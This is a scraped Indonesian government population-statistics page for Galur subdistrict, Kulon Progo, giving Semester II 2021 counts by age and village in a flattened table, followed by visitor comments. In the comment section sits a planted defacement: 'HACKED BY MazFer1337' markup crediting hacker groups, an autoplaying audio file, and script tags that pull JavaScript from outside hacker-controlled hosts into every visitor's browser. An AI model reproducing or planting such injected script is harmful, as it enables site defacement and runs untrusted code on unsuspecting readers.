Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN GALUR, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANARANKRANGGANNOMPOREJOKARANGSEWUTIRTORAHAYUPANDOWANBROSOTTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5947 1062026 461525 408171 1526671 1372624 505366 119320 330 650
2 tahun3224 561616 32149 234256 986053 113810 183232 64204 200 404
3 tahun3821 591319 321510 256543 1084942 911312 252826 54221 173 394
4 tahun3848 861412 261320 336965 1344638 841113 243626 62227 222 449
5 tahun5125 762023 431319 324948 974930 79913 222732 59218 190 408
6 tahun3833 711220 32179 265263 1154749 96106 163930 69215 210 425
7 tahun3138 691921 401321 345964 1235248 100813 212537 62207 242 449
8 tahun2734 611716 331112 235456 1106753 1201413 273333 66223 217 440
9 tahun3433 671823 411112 235458 1125563 1181216 284028 68224 233 457
10 tahun3941 801722 391315 286169 1305048 981520 354432 76239 247 486
11 tahun4141 822617 431514 297663 1394469 1131513 283935 74256 252 508
12 tahun4246 882517 421712 298274 1565954 1131519 343837 75278 259 537
13 tahun4346 892218 401313 265966 1255357 1101619 354238 80248 257 505
14 tahun4435 792118 39188 266356 1194639 851615 313137 68239 208 447
15 tahun3236 681524 39119 207246 1185247 991410 244033 73236 205 441
16 tahun3538 731210 221216 284771 1184837 851110 213124 55196 206 402
17 tahun4343 861713 301319 326257 1195450 1041814 323136 67238 232 470
18 tahun3635 711913 322020 406366 1294146 871816 343431 65231 227 458
19 tahun3428 621816 341218 305351 1044547 92138 212139 60196 207 403
20 tahun4941 901516 311417 316658 1245348 1011312 253530 65245 222 467
21 tahun5034 841418 32209 297747 1244749 962315 382831 59259 203 462
22 tahun4548 931927 461415 296961 1305139 901416 303129 60243 235 478
23 tahun3148 792425 491016 268041 1214955 1042111 323040 70245 236 481
24 tahun3731 681823 412313 364359 1025755 1121418 322927 56221 226 447
25 tahun3950 891611 271822 405754 1116348 1112517 422724 51245 226 471
26 tahun3139 702122 432114 356253 1155048 981615 314340 83244 231 475
27 tahun3736 731215 272216 384757 1045661 117718 252938 67210 241 451
28 tahun4537 821514 291517 326348 1114653 991219 313335 68229 223 452
29 tahun3235 671513 281226 386172 1334552 971517 324331 74223 246 469
30 tahun4232 741123 341715 324663 1093548 831111 223136 67193 228 421
31 tahun3238 701520 351315 285549 1044433 772020 403939 78218 214 432
32 tahun5034 842326 491311 243949 885147 98612 183333 66215 212 427
33 tahun3133 641916 35610 165643 994548 93139 222432 56194 191 385
34 tahun3631 671510 25188 263541 764457 101916 253528 63192 191 383
35 tahun3433 67617 23710 173350 834248 90249 334031 71186 198 384
36 tahun4630 761617 331915 347265 1374955 1041010 203537 72247 229 476
37 tahun3441 752527 52917 266364 1275043 931213 253630 66229 235 464
38 tahun3342 751822 4089 175170 1215758 1151817 354539 84230 257 487
39 tahun3132 632423 471119 307472 1464767 1141313 263541 76235 267 502
40 tahun3136 671815 331213 256958 1275151 1021514 294137 78237 224 461
41 tahun3643 791720 371215 277156 1275753 1101711 282330 53233 228 461
42 tahun3529 641915 341417 315270 1226046 1061018 282535 60215 230 445
43 tahun3752 892514 392415 397176 1475851 1091117 284038 78266 263 529
44 tahun3438 721327 401624 405641 974544 89129 213739 76213 222 435
45 tahun4550 951617 331713 307160 1314548 931515 303527 62244 230 474
46 tahun3636 722321 441522 376659 1256260 122913 224438 82255 249 504
47 tahun4541 862011 311919 386643 1095546 1011112 232328 51239 200 439
48 tahun3644 801021 31189 274472 1164246 881415 292825 53192 232 424
49 tahun4439 831814 321815 336567 1325748 1051316 293136 67246 235 481
50 tahun4052 921615 311921 404760 1074552 972116 373338 71221 254 475
51 tahun4440 842417 411921 405561 1166355 1182114 353037 67256 245 501
52 tahun5240 922314 371815 336576 1414759 1061811 294143 84264 258 522
53 tahun4647 932020 402117 385469 1235048 981222 344541 86248 264 512
54 tahun4347 901316 291716 336367 1305154 1051514 293441 75236 255 491
55 tahun4646 921419 331718 355766 1234849 971815 333235 67232 248 480
56 tahun5443 971216 282217 397661 1376151 1122218 403544 79282 250 532
57 tahun4340 831518 331519 345037 874239 811512 272338 61203 203 406
58 tahun3144 751415 291420 344563 1084842 90916 253329 62194 229 423
59 tahun2940 691819 372218 404952 1013746 832016 362931 60204 222 426
60 tahun2229 51139 22913 224339 823048 781218 302125 46150 181 331
61 tahun4230 72916 25149 236268 1304650 962115 362935 64223 223 446
62 tahun2525 501112 2399 184743 904840 881716 333538 73192 183 375
63 tahun2934 631320 331011 214840 883237 6978 152325 48162 175 337
64 tahun3020 501412 261512 273642 783125 561313 262724 51166 148 314
65 tahun2621 47810 1867 133531 663039 69112 131822 40124 142 266
66 tahun1022 322313 36820 283641 773235 6796 151826 44136 163 299
67 tahun2526 511316 2963 92930 593340 7348 122413 37134 136 270
68 tahun1825 431012 2299 182624 502324 47107 171925 44115 126 241
69 tahun1515 301216 2878 152033 532723 5068 141618 34103 121 224
70 tahun1711 281211 2395 142021 412422 4664 101717 34105 91 196
71 tahun1524 391717 3476 132842 702130 5144 81216 28104 139 243
72 tahun1313 26104 14510 151621 371021 3123 51614 3072 86 158
73 tahun915 2438 11610 161922 411717 3459 141013 2369 94 163
74 tahun1116 2786 1496 151017 271226 3844 8146 2068 81 149
75 tahun1317 3077 1447 111215 271120 3126 8129 2161 81 142
76 tahun1920 3959 1448 122126 471915 3498 171417 3191 103 194
77 tahun1715 3249 1332 51016 261217 2958 13612 1857 79 136
78 tahun211 1315 615 6916 25514 1975 12109 1935 65 100
79 tahun1320 3333 675 121913 321624 4055 10914 2372 84 156
80 ke atas59108 1673139 702527 5269119 18880123 2032630 564065 105330 511 841
Jumlah2.7392.8015.5401.2571.3272.5841.0781.1112.1894.1194.1928.3113.5473.6317.1781.0311.0432.0742.3972.4764.873 16.168 16.581 32.749
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih